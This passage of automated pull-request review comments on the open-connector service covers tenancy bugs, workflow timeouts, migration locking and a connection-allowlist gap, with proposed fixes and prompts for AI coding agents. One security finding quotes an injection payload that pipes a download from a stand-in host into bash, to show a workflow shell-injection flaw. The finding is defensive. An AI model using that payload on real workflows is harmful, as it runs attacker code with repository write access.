createMcpServer resolves lists and action runs through IMcpServerOptions.tenant, while readRuntimeGrant(context).tenant is the source of truth for HTTP tenant binding. This MCP test keeps connections under testTenant, so setting runtimeGrant.tenant to defaultTenant can make the fixture read mismatched ownership metadata. Set runtimeGrant.tenant to testTenant, or document the deliberate mismatch.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/mcp.test.ts` at line 467, Update the runtime grant fixture in the MCP
test to use testTenant for runtimeGrant.tenant, matching the tenant passed
through createMcpServer and the test connection setup; only retain defaultTenant
if the mismatch is intentional and explicitly documented.

src/server/api/oauth-completion-page.ts (1)

60-65: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Simplify the payload assembly; drop the conditional spreads.

JSON.stringify omits keys with an undefined value. The conditional spreads at Lines 62-64 only reproduce behavior JSON.stringify already provides. Use plain optional-chained field assignment instead.

♻️ Proposed simplification

   const payload = scriptJson({
     type: oauthCompletedType,
     service,
-    ...(connection ? { connectionId: connection.connectionId } : {}),
-    ...(connection?.tenant ? { tenant: connection.tenant } : {}),
-    ...(connection?.connectionName ? { connectionName: connection.connectionName } : {}),
+    connectionId: connection?.connectionId,
+    tenant: connection?.tenant,
+    connectionName: connection?.connectionName,
   });

As per coding guidelines, "Avoid trivial pass-through helpers and conditional object spreads that only hide undefined JSON fields."

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/api/oauth-completion-page.ts` around lines 60 - 65, Update the
payload assembly in the oauth completion page to assign connectionId, tenant,
and connectionName directly via optional chaining instead of conditional object
spreads. Preserve the existing JSON serialization behavior so undefined fields
are omitted by JSON.stringify.

Source: Coding guidelines

.github/workflows/build-image.yml (1)

25-27: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick win

Consider adding a job timeout.

The build job has no timeout-minutes. It defaults to GitHub's 6-hour maximum. Because both publish-docker.yml and promote-production.yml depend on this job, a hung build/push (e.g., a stalled registry connection) can block the manual production-promotion path for hours before a human notices and cancels it.

Add a bounded timeout, e.g. timeout-minutes: 20.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/build-image.yml around lines 25 - 27, Add a bounded
timeout to the build job in the workflow, using timeout-minutes: 20 (or an
equivalent short limit), so stalled image builds or pushes fail promptly before
dependent jobs remain blocked.

.github/workflows/promote-production.yml (1)

126-164: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick win

Add timeouts to the Railway API calls.

Neither curl call in the deploy job sets --max-time or --connect-timeout. If the Railway API hangs, the job blocks until GitHub's default timeout, stalling a manual production promotion with no visible progress.

Add an explicit timeout to both calls.

⏱️ Proposed fix: bound both Railway API calls

       - name: Point production at the release image
         run: |
           response=$(curl -sf -X POST https://backboard.railway.com/graphql/v2 \
+            --max-time 30 \
             -H "Authorization: Bearer $RAILWAY_API_TOKEN" \

       - name: Trigger deploy
         run: |
           response=$(curl -sf -X POST https://backboard.railway.com/graphql/v2 \
+            --max-time 30 \
             -H "Authorization: Bearer $RAILWAY_API_TOKEN" \

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/promote-production.yml around lines 126 - 164, Add
explicit connection and total-duration limits to both curl invocations in the
“Point production at the release image” and “Trigger deploy” steps, using
--connect-timeout and --max-time. Keep the existing request payloads, response
logging, and error checks unchanged.

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/promote-production.yml:
- Around line 58-84: Update the “Resolve release tag” step to pass the workflow
input through the step’s env block instead of interpolating it into the shell
script. Validate the env value before assigning TAG, accepting only the
joystream-vX.Y.Z format, and reject invalid non-empty values; preserve the
existing reuse and auto-increment paths when no explicit version is provided.
Ensure only the validated tag is written to GITHUB_OUTPUT.

In `@docs/features/github-mcp-full-proxy/PLAN.md`:
- Around line 50-72: Remove internal deployment, project, local-path,
alias-table, fork, and repository references from all four documented sites:
docs/features/github-mcp-full-proxy/PLAN.md lines 50-72 and 174-189, and
docs/features/github-projects-support/PLAN.md lines 54-55 and 246-259. Replace
session-specific verification and compatibility details with generic OSS
behavior and official public links, or move the internal material to private
documentation; ensure the public plans do not mention JoyStream, local
filesystem paths, internal forks, or unreleased SDK behavior.

In `@docs/features/github-projects-support/PLAN.md`:
- Around line 5-10: Update the GitHub Projects v2 plan to state that the
integration exposes eight read-only methods across the two multiplexed tools:
four list_* methods and four get_* methods, replacing the incorrect “four”
method count.
- Around line 144-173: The Projects action-shape decision in the “Open question”
section remains unresolved. Update this section to record option (a)—eight
separate actions—as the confirmed decision, removing the alternative option,
open-question framing, and tentative “leaning toward” language while preserving
the listed action names and schema rationale.

In `@docs/joystream-deployment.md`:
- Around line 46-48: Update the connection-string code fence in the deployment
documentation to specify a language, using text or postgresql, so the markdown
lint rule recognizes the fenced block.
- Around line 25-28: Update the architecture section describing PostgreSQL
schema creation to state that the application creates the schema configured by
OOMOL_CONNECT_DATABASE_SCHEMA, with "open_connector" as the default, rather than
always creating "open_connector".
- Around line 40-42: Update the direct connection host description in the
deployment documentation to state that it is IPv6 by default and uses IPv4 when
the project has the Supabase IPv4 add-on, replacing the unqualified “IPv6-only”
wording while preserving the surrounding comparison with the Session Pooler
host.

In `@src/oauth/oauth-flow-service.ts`:
- Around line 172-183: Update the OAuth completion flow around
setOAuthCredential and the returned callback object to use defaultTenant
whenever pending.tenant is missing, importing defaultTenant from the connection
service module. Ensure the same resolved tenant value is passed to credential
storage and returned as tenant.

In `@src/providers/github/scopes.ts`:
- Around line 6-25: Update githubProjectScope to use the read-only
"read:project" permission, and revise the related reconnect/error message to
reference "read:project" instead of "project". Keep githubProjectScopes and
githubOAuthScopes using the shared githubProjectScope symbol.

In `@src/server/actions/action-runner.ts`:
- Around line 184-195: Update recordAuditEvent to validate the parsed startedAt
and completedAt timestamps before computing durationMs, ensuring unparsable
values produce a finite non-negative duration rather than NaN. Preserve the
existing duration calculation for valid timestamps and continue passing the
resulting numeric value to runs.add.

In `@src/server/api/runtime-api.ts`:
- Line 245: Update the runtime request error mapping around executeRuntimeAction
so connection_not_allowed produces HTTP 403 instead of 400. Prefer using
mapExecutionErrorStatus for runtime execution failures, or extend
mapConnectionErrorStatus with a 403 case and add matching test coverage;
preserve existing mappings for other error codes.

In `@src/server/connect-server.ts`:
- Around line 1426-1431: Update the allowed-services list handling in the
surrounding parser to return trimmed string entries, not the original values.
Preserve filtering of non-strings and blank-after-trimming entries, so
downstream assertProviderAvailable receives normalized service names consistent
with the body.service branch and readAllowedConnections.
- Line 496: Update the hashActionRequest call in the request handling flow after
readTenant(context, body) to include tenant in the hashed request fields, and
extend hashActionRequest to accept and incorporate this new field so idempotency
claims are scoped independently per tenant.
- Around line 1258-1265: Parse and validate options.completionRedirectUrl once
during ConnectServer construction, storing the resulting URL in a dedicated
instance field when configured so malformed values fail at startup. Update the
callback logic around completeAuthorization to reuse that parsed URL, apply the
existing query parameters, and redirect without calling new URL on the callback
path.

In `@src/server/index.ts`:
- Around line 127-132: Update the shutdown function to handle rejection from
runtimeDatabase.close(), ensuring process.exit(0) still executes when closing
fails and preventing an unhandled rejection from the SIGINT and SIGTERM
callbacks. Preserve the existing graceful close behavior when it succeeds.

In `@src/server/proxy/proxy-runner.ts`:
- Around line 22-29: Update RunProxyInput and the proxy execution flow to
enforce runtime connection restrictions like RunActionInput: add
allowedConnections, reject a connectionName not included in that list with
connection_not_allowed before getConnectionSummary or forConnection, and pass
runtimeGrant?.allowedConnections from the /v1/proxy/:service route.

In `@src/server/storage/postgres-runtime-store.ts`:
- Around line 255-308: Update runPostgresMigrations to acquire a
transaction-scoped PostgreSQL advisory lock before reading runtime_migrations
and applying any files, using a stable lock key for this migration set. Hold the
lock for the entire migration run and release it automatically when the
transaction ends, while preserving the existing per-migration transactions and
error handling.

---

Outside diff comments:
In `@src/mcp.ts`:
- Around line 200-213: Update listConnections and listApps to enforce
options.runtimeGrant?.allowedConnections when enumerating tenant connections,
using the same connection-identifier matching semantics as executeAction. Filter
both serialized connections and the connection field used by listApps, while
preserving unrestricted behavior when no allowlist is configured.

In `@src/providers/monday/scopes.ts`:
- Around line 2-3: The Monday authorization scopes must match the scopes
declared by its actions. Update mondayAuthorizationScopes to include
account:read, manage_account_security, and forms:write for get_current_user,
list_users, list_audit_logs, create_form, activate_form, and deactivate_form, or
remove/reduce those actions’ requiredScopes so no action requests an undeclared
scope.

---

Nitpick comments:
In @.github/workflows/build-image.yml:
- Around line 25-27: Add a bounded timeout to the build job in the workflow,
using timeout-minutes: 20 (or an equivalent short limit), so stalled image
builds or pushes fail promptly before dependent jobs remain blocked.

In @.github/workflows/promote-production.yml:
- Around line 126-164: Add explicit connection and total-duration limits to both
curl invocations in the “Point production at the release image” and “Trigger
deploy” steps, using --connect-timeout and --max-time. Keep the existing request
payloads, response logging, and error checks unchanged.

In `@docs/features/github-mcp-full-proxy/PLAN.md`:
- Around line 131-139: Before adopting runtime discovery in
defineMcpProxyProvider, establish a stable reviewed catalog contract: maintain
an action allowlist and checked-in schema snapshot, or document a deterministic
refresh and rollback process. Ensure search_actions and execute_action use the
same approved catalog and prevent newly discovered write tools from being
exposed without review.

In `@src/connection-service.test.ts`:
- Around line 839-884: Extract the duplicated MemoryConnectionStore
implementation and createConnectionKey from
src/connection-service.test.ts#L839-884 into a shared test-support module,
preserving the tenant-aware keying, list filtering, and optimistic
updateCredential behavior. Import and use the shared class in
src/connection-service.test.ts#L839-884, src/mcp.test.ts#L592-643 (retaining an
optional StoredConnection[] seeding constructor),
src/oauth/oauth-flow-service.test.ts#L660-705, and
src/server/connect-server.test.ts#L3557-3602; ensure
CreateTestServerOptions.connectionStore uses the shared class.

In `@src/mcp.test.ts`:
- Line 467: Update the runtime grant fixture in the MCP test to use testTenant
for runtimeGrant.tenant, matching the tenant passed through createMcpServer and
the test connection setup; only retain defaultTenant if the mismatch is
intentional and explicitly documented.

In `@src/oauth/oauth-flow-service.test.ts`:
- Around line 248-283: Update the test around createServices and its
onConnectionCreated listener so it reads the credential from
services.connections inside the listener and asserts the stored OAuth credential
is available at notification time. Keep the existing event payload and
token-redaction assertions, while ensuring the listener’s lookup is awaited or
otherwise captured for assertions after completeAuthorization.

In `@src/oauth/oauth-flow-service.ts`:
- Around line 43-50: Change OAuthAuthorizationState from a type alias to an
interface while preserving all existing properties and optionality; no other
OAuth flow behavior needs modification.

In `@src/server/actions/action-runner.test.ts`:
- Around line 72-132: Add two boundary-case tests to the runner authorization
suite: verify allowedConnections: [] rejects a named connection with
connection_not_allowed, and verify omitting connectionName is denied when
allowedConnections excludes the normalized default alias. Use createRunner and
runner.run consistently with the existing tests.

In `@src/server/api/oauth-completion-page.ts`:
- Around line 60-65: Update the payload assembly in the oauth completion page to
assign connectionId, tenant, and connectionName directly via optional chaining
instead of conditional object spreads. Preserve the existing JSON serialization
behavior so undefined fields are omitted by JSON.stringify.

In `@src/server/connect-app.ts`:
- Line 38: Update the exported ConnectAppOptions webhook property to use the
existing ConnectionWebhookOptions type from connection-webhook.ts instead of an
inline object type, importing it as a type alongside the existing class import
and preserving the optional webhook property.
- Around line 108-110: Validate options.connectSessionSecret during startup
before constructing ConnectSessionService, rejecting configurations whose secret
is shorter than the required minimum length. Ensure weak secrets fail
immediately with a clear configuration error, while preserving the existing
service creation behavior for valid secrets and the undefined path when no
secret is configured.

In `@src/server/connect-server.test.ts`:
- Around line 1402-1432: Extend the test around the admin credential read in the
“returns the credential to an admin caller and audits the read” case to inspect
the recorded run-log entry and assert that neither inputSummary nor
outputSummary contains “secret-value”. Keep the existing successful response and
audit-field assertions unchanged.
- Around line 1082-1090: Update the redirect assertions in the connect callback
test to verify exact values for tenant and connectionName instead of only
checking truthiness. Import and use defaultTenant from the connection service
for the resolved tenant, and assert the connection’s default alias for
connectionName while leaving the remaining redirect assertions unchanged.
- Around line 1313-1327: Update the test around the “rejects an invalid or
expired connect session” case to cover expiration by creating the session with
the matching secret and a negative TTL, then assert the 401 response uses the
“session_token_expired” error code; keep the foreign-secret scenario as a
separate test with a name describing invalid-session rejection.

In `@src/server/index.ts`:
- Around line 39-45: Move the comment describing the required webhook URL and
secret from above connectSessionSecret to immediately before the webhook
variables beginning at the webhook configuration block. Keep the connect-session
fallback and rotation explanation adjacent to connectSessionSecret.

In `@src/server/storage/postgres-runtime-store.test.ts`:
- Around line 109-119: Wrap each ad hoc Pool lifecycle in the test cases around
the schema queries and assertions (including the blocks at lines 109-119,
128-135, and 141-148) with try/finally, moving pool.end() into finally so
cleanup runs when queries or expectations throw. Preserve the existing query and
assertion behavior while ensuring every created pool is closed on both success
and failure.

In `@src/server/storage/postgres-runtime-store.ts`:
- Around line 210-247: Update toPostgresPlaceholders to track SQL line comments,
block comments, and dollar-quoted bodies, leaving their contents unchanged and
rewriting only placeholders outside quoted or commented regions. Alternatively,
document an explicit restriction against those constructs, but ensure future
queries cannot silently misnumber parameters.

In `@src/server/storage/runtime-token-service.ts`:
- Around line 84-89: Change createToken to accept a named input interface
containing name, policy, tenant, and allowedConnections instead of four
positional parameters, and update every caller to pass the corresponding named
fields. Preserve the existing defaults for policy and tenant and the current
token-scoping behavior.

In `@src/server/storage/sqlite-runtime-store.test.ts`:
- Around line 28-131: Hoist a single credential(apiKey) helper to the
SqliteConnectionStore tenancy describe block, matching the existing
ResolvedCredential shape used by the repeated factories and literal. Replace all
three local factory definitions and the inline credential object in the tenant
deletion test with calls to this shared helper, preserving each test’s current
token values.

In `@src/server/storage/sqlite-runtime-store.ts`:
- Around line 413-415: Deduplicate readOptionalJson across the storage backends:
in src/server/storage/sqlite-runtime-store.ts lines 413-415, retain it only if
this module owns the shared row readers; otherwise move the single definition to
the shared storage module and import it. In
src/server/storage/d1-runtime-store.ts lines 345-347, remove the local
definition and import the shared helper.

In `@src/server/webhooks/connection-webhook.test.ts`:
- Around line 99-125: Replace the ineffective synchronous not.toThrow assertions
in the “does not throw when the receiver fails or is unreachable” test with a
logger mock passed to each ConnectionWebhookNotifier instance. After flush(),
assert that logger.warn is called with the relevant HTTP and network failure
details, while retaining the fetch invocation count checks to verify both
delivery attempts were made.

In `@src/server/webhooks/connection-webhook.ts`:
- Around line 87-97: Define an explicit interface for the fixed
connection-created payload shape and update buildConnectionCreatedPayload to
return that interface instead of Record<string, unknown>. Include typed fields
for type, connectionId, providerConfigKey, tenant, connectionName, authType, and
createdAt, preserving the existing payload values and structure.
- Around line 44-51: Move the JSON payload construction, signature header and
fetch implementation selection, AbortController creation, and timeout setup
inside deliver’s existing try block. Ensure any synchronous setup failure is
caught by the method’s current error handling and logged rather than rejecting
the fire-and-forget promise.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

[coderabbitai]

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Description: Find other run: steps that interpolate untrusted expressions directly instead of via env:.
fd -e yml -e yaml . .github/workflows --exec rg -n -B2 -A2 '\$\{\{\s*(inputs|github\.event)\.' {}

Repository: oomol-lab/open-connector

Length of output: 565

---

🏁 Script executed:

#!/bin/bash
set -u

echo "== promote-production workflow relevant lines =="
sed -n '1,120p' .github/workflows/promote-production.yml | cat -n

echo
echo "== output tag steps =="
rg -n 'steps\.ver\.outputs|joystream-v|RELEASE|tag=' .github/workflows/promote-production.yml

echo
echo "== workflow triggers and permissions =="
sed -n '1,45p' .github/workflows/promote-production.yml

Repository: oomol-lab/open-connector

Length of output: 8213

---

🏁 Script executed:

#!/bin/bash
set -u

python3 - <<'PY'
value = 'x"; curl evil.example | bash #'
print(value in f'IN="{value}"')
PY

Repository: oomol-lab/open-connector

Length of output: 167

---

Fix the shell-injection risk in the release-tag resolution step.

IN="${{ inputs.version }}" splices the raw workflow_dispatch input directly into the run script before bash parses it. A version value containing shell metacharacters, such as x"; curl evil.example | bash #, executes as part of this step. This job holds contents: write and packages: write, and uses github.token without persist-credentials: false, so crafted input can run commands with that access.

Pass inputs.version through env: and validate it as joystream-vX.Y.Z before use. This also avoids a value containing \nkey=value from injecting extra $GITHUB_OUTPUT keys.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/promote-production.yml around lines 58 - 84, Update the
“Resolve release tag” step to pass the workflow input through the step’s env
block instead of interpolating it into the shell script. Validate the env value
before assigning TAG, accepting only the joystream-vX.Y.Z format, and reject
invalid non-empty values; preserve the existing reuse and auto-increment paths
when no explicit version is provided. Ensure only the validated tag is written
to GITHUB_OUTPUT.

[coderabbitai]

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Remove internal references from the public planning documents.

These references expose internal projects, local filesystem paths, and private deployment context. Replace them with generic OSS descriptions and official public links, or move both plans to internal documentation.

• docs/features/github-mcp-full-proxy/PLAN.md#L50-L72: remove JoyStream deployment and alias-table references.
• docs/features/github-mcp-full-proxy/PLAN.md#L174-L189: replace local MCP paths and session-specific verification details.
• docs/features/github-projects-support/PLAN.md#L54-L55: replace the local fork reference.
• docs/features/github-projects-support/PLAN.md#L246-L259: replace local fork and JoyStream repository references.

As per coding guidelines, public documentation should describe normal OSS usage and must not mention internal compatibility projects or unreleased SDK behavior.

🧰 Tools

🪛 LanguageTool

[uncategorized] ~52-~52: The official name of this software platform is spelled with a capital “H”.
Context: ...open-connector's own curated names: github.search_issues_and_pull_requests, `gith...

(GITHUB)

---

[uncategorized] ~52-~52: The official name of this software platform is spelled with a capital “H”.
Context: ...ithub.search_issues_and_pull_requests, github.get_issue, github.get_pull_request`, ...

(GITHUB)

---

[uncategorized] ~52-~52: The official name of this software platform is spelled with a capital “H”.
Context: ...and_pull_requests, github.get_issue, github.get_pull_request, github.list_reposit...

(GITHUB)

---

[uncategorized] ~53-~53: The official name of this software platform is spelled with a capital “H”.
Context: ....get_issue, github.get_pull_request, github.list_repository_issues`, etc. — one act...

(GITHUB)

---

[uncategorized] ~62-~62: The official name of this software platform is spelled with a capital “H”.
Context: ...pping the implementation under the same github service key: - Every **already-synced...

(GITHUB)

📍 Affects 2 files

• docs/features/github-mcp-full-proxy/PLAN.md#L50-L72 (this comment)
• docs/features/github-mcp-full-proxy/PLAN.md#L174-L189
• docs/features/github-projects-support/PLAN.md#L54-L55
• docs/features/github-projects-support/PLAN.md#L246-L259

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@docs/features/github-mcp-full-proxy/PLAN.md` around lines 50 - 72, Remove
internal deployment, project, local-path, alias-table, fork, and repository
references from all four documented sites:
docs/features/github-mcp-full-proxy/PLAN.md lines 50-72 and 174-189, and
docs/features/github-projects-support/PLAN.md lines 54-55 and 246-259. Replace
session-specific verification and compatibility details with generic OSS
behavior and official public links, or move the internal material to private
documentation; ensure the public plans do not mention JoyStream, local
filesystem paths, internal forks, or unreleased SDK behavior.

Source: Coding guidelines

[coderabbitai]

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Correct the Projects operation count.

The document says “four” methods, but it defines four list_* methods and four get_* methods. State that the integration exposes eight methods across the two multiplexed tools.

🧰 Tools

🪛 LanguageTool

[uncategorized] ~5-~5: The official name of this software platform is spelled with a capital “H”.
Context: ... Add GitHub Projects v2 support to the github provider by proxying four read-only `p...

(GITHUB)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@docs/features/github-projects-support/PLAN.md` around lines 5 - 10, Update
the GitHub Projects v2 plan to state that the integration exposes eight
read-only methods across the two multiplexed tools: four list_* methods and four
get_* methods, replacing the incorrect “four” method count.

[coderabbitai]

📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Record the resolved action-shape decision.

The PR objective commits to eight separate actions, but this section still presents options (a) and (b) as an open question and says the plan only leans toward (a). Mark (a) as the decision and remove the stale implementation ambiguity.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@docs/features/github-projects-support/PLAN.md` around lines 144 - 173, The
Projects action-shape decision in the “Open question” section remains
unresolved. Update this section to record option (a)—eight separate actions—as
the confirmed decision, removing the alternative option, open-question framing,
and tentative “leaning toward” language while preserving the listed action names
and schema rationale.

[coderabbitai]

🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick win

Document the configured PostgreSQL schema.

The application reads OOMOL_CONNECT_DATABASE_SCHEMA, and Lines 53-55 allow a custom schema. The architecture section currently says startup always creates "open_connector". State that the application creates the configured schema, which defaults to "open_connector".

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@docs/joystream-deployment.md` around lines 25 - 28, Update the architecture
section describing PostgreSQL schema creation to state that the application
creates the schema configured by OOMOL_CONNECT_DATABASE_SCHEMA, with
"open_connector" as the default, rather than always creating "open_connector".

[coderabbitai]

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

Validate completionRedirectUrl at construction, not on the callback path.

new URL(...) throws a TypeError when completionRedirectUrl is malformed. This code runs after completeAuthorization has already stored the connection and consumed the authorization code. The user then receives a 500 and cannot retry the same callback. Parse the URL once in the constructor so a misconfigured deployment fails at startup.

🛡️ Proposed fix

Add a parsed field in the constructor:

   private readonly proxyRunner: ProxyRunner;
+  private readonly completionRedirectUrl?: URL;
   private readonly policySnapshots = new WeakMap<Request, Promise<ActionPolicySnapshot>>();

   constructor(options: IConnectServerOptions) {
     this.options = options;
+    this.completionRedirectUrl = options.completionRedirectUrl
+      ? new URL(options.completionRedirectUrl)
+      : undefined;

Then reuse it on the callback path:

-    if (this.options.completionRedirectUrl) {
-      const redirectUrl = new URL(this.options.completionRedirectUrl);
+    if (this.completionRedirectUrl) {
+      const redirectUrl = new URL(this.completionRedirectUrl);
       redirectUrl.searchParams.set("service", service);

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change

	if (this.options.completionRedirectUrl) {
	const redirectUrl = new URL(this.options.completionRedirectUrl);
	redirectUrl.searchParams.set("service", service);
	redirectUrl.searchParams.set("connectionId", completion.connectionId);
	redirectUrl.searchParams.set("tenant", completion.tenant);
	redirectUrl.searchParams.set("connectionName", completion.connectionName);
	return context.redirect(redirectUrl.toString());
	}
	if (this.completionRedirectUrl) {
	const redirectUrl = new URL(this.completionRedirectUrl);
	redirectUrl.searchParams.set("service", service);
	redirectUrl.searchParams.set("connectionId", completion.connectionId);
	redirectUrl.searchParams.set("tenant", completion.tenant);
	redirectUrl.searchParams.set("connectionName", completion.connectionName);
	return context.redirect(redirectUrl.toString());
	}

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/connect-server.ts` around lines 1258 - 1265, Parse and validate
options.completionRedirectUrl once during ConnectServer construction, storing
the resulting URL in a dedicated instance field when configured so malformed
values fail at startup. Update the callback logic around completeAuthorization
to reuse that parsed URL, apply the existing query parameters, and redirect
without calling new URL on the callback path.

[coderabbitai]

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Trim list entries, as the single-service branch already does.

The filter calls entry.trim() for the emptiness test but returns the untrimmed entry. An entry such as " github" is kept verbatim. assertProviderAvailable at line 804 then reports unknown_service for a service that exists. The body.service branch trims through optionalString, and readAllowedConnections in src/server/api/policy-input.ts also trims, so this branch is the inconsistent one.

🐛 Proposed fix

-  return list.filter((entry): entry is string => typeof entry === "string" && entry.trim().length > 0);
+  return list.flatMap((entry) => (typeof entry === "string" && entry.trim() ? [entry.trim()] : []));

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change

	const list = body.allowedServices ?? body.allowed_integrations;
	if (!Array.isArray(list)) {
	return [];
	}
	return list.filter((entry): entry is string => typeof entry === "string" && entry.trim().length > 0);
	const list = body.allowedServices ?? body.allowed_integrations;
	if (!Array.isArray(list)) {
	return [];
	}
	return list.flatMap((entry) => (typeof entry === "string" && entry.trim() ? [entry.trim()] : []));

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/connect-server.ts` around lines 1426 - 1431, Update the
allowed-services list handling in the surrounding parser to return trimmed
string entries, not the original values. Preserve filtering of non-strings and
blank-after-trimming entries, so downstream assertProviderAvailable receives
normalized service names consistent with the body.service branch and
readAllowedConnections.

[coderabbitai]

🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Handle a failing close() during shutdown.

shutdown awaits runtimeDatabase.close(). If the Postgres pool rejects while draining, the promise rejects, process.exit(0) never runs, and the rejection is unhandled because the caller uses void shutdown(). The process then stays alive until the orchestrator sends SIGKILL.

🛠️ Proposed fix

 const shutdown = async (): Promise<void> => {
-  await runtimeDatabase.close();
-  process.exit(0);
+  try {
+    await runtimeDatabase.close();
+  } catch (error) {
+    logger.warn({ err: error }, "runtime database close failed during shutdown");
+  }
+  process.exit(0);
 };

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change

	const shutdown = async (): Promise<void> => {
	await runtimeDatabase.close();
	process.exit(0);
	});
	process.once("SIGTERM", () => {
	runtimeDatabase.close();
	process.exit(0);
	});
	};
	process.once("SIGINT", () => void shutdown());
	process.once("SIGTERM", () => void shutdown());
	const shutdown = async (): Promise<void> => {
	try {
	await runtimeDatabase.close();
	} catch (error) {
	logger.warn({ err: error }, "runtime database close failed during shutdown");
	}
	process.exit(0);
	};
	process.once("SIGINT", () => void shutdown());
	process.once("SIGTERM", () => void shutdown());

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/index.ts` around lines 127 - 132, Update the shutdown function to
handle rejection from runtimeDatabase.close(), ensuring process.exit(0) still
executes when closing fails and preventing an unhandled rejection from the
SIGINT and SIGTERM callbacks. Preserve the existing graceful close behavior when
it succeeds.

[coderabbitai]

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

The proxy path does not honor the runtime token's connection allowlist.

RunActionInput in src/server/actions/action-runner.ts carries allowedConnections, and the action runner rejects a connectionName outside that list with connection_not_allowed. RunProxyInput has no equivalent field, and run passes input.connectionName straight to getConnectionSummary and forConnection.

A runtime token restricted to one connection can therefore name any other connection of the same tenant through /v1/proxy/:service and use its credential. Proxy policy checks only the service, not the connection.

Add allowedConnections to RunProxyInput and apply the same check the action runner performs, then pass runtimeGrant?.allowedConnections from the proxy route.

Also applies to: 120-123

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/proxy/proxy-runner.ts` around lines 22 - 29, Update RunProxyInput
and the proxy execution flow to enforce runtime connection restrictions like
RunActionInput: add allowedConnections, reject a connectionName not included in
that list with connection_not_allowed before getConnectionSummary or
forConnection, and pass runtimeGrant?.allowedConnections from the
/v1/proxy/:service route.

[coderabbitai]

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

Serialize migrations with an advisory lock.

Postgres exists here for deployments with "more than one runtime process sharing state". Two processes that start together both read runtime_migrations, both see the same pending file, and both apply it. Each migration runs in its own transaction, so the losing process fails on the runtime_migrations primary key and runPostgresMigrations rethrows. Startup then fails for that process. With DDL that is not idempotent, a partially concurrent apply is also possible.

A transaction-scoped advisory lock makes the whole run mutually exclusive without adding a table.

🛠️ Proposed fix

     const migrationStartedAt = Date.now();
     logger?.info({ migration: file }, "postgres migration started");
     const client = await pool.connect();
     try {
       await client.query("begin");
+      // Held until commit/rollback. A second process blocks here instead of
+      // applying the same file and failing on the runtime_migrations key.
+      await client.query("select pg_advisory_xact_lock(hashtext($1))", ["open_connector_migrations"]);
+      const { rowCount } = await client.query("select 1 from runtime_migrations where name = $1", [file]);
+      if (rowCount) {
+        await client.query("commit");
+        applied.add(file);
+        continue;
+      }
       await client.query(readFileSync(new URL(file, migrationDirectory), "utf8"));

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change

	export async function runPostgresMigrations(
	pool: Pool,
	schema: string = defaultSchema,
	logger?: RuntimeLogger,
	): Promise<void> {
	const startedAt = Date.now();
	// Explicitly qualified: `search_path` cannot resolve a schema that does not exist yet,
	// and every statement after this one relies on it existing.
	await pool.query(`create schema if not exists "${assertValidSchemaName(schema)}";`);
	await pool.query(`
	create table if not exists runtime_migrations (
	name text primary key,
	applied_at text not null
	);
	`);
	const appliedResult = await pool.query<{ name: string }>("select name from runtime_migrations");
	const applied = new Set(appliedResult.rows.map((row) => row.name));
	const migrationFiles = readdirSync(migrationDirectory)
	.filter((name) => /^\d+_.*\.sql$/.test(name))
	.sort();
	let newlyAppliedCount = 0;
	for (const file of migrationFiles) {
	if (applied.has(file)) {
	continue;
	}
	const migrationStartedAt = Date.now();
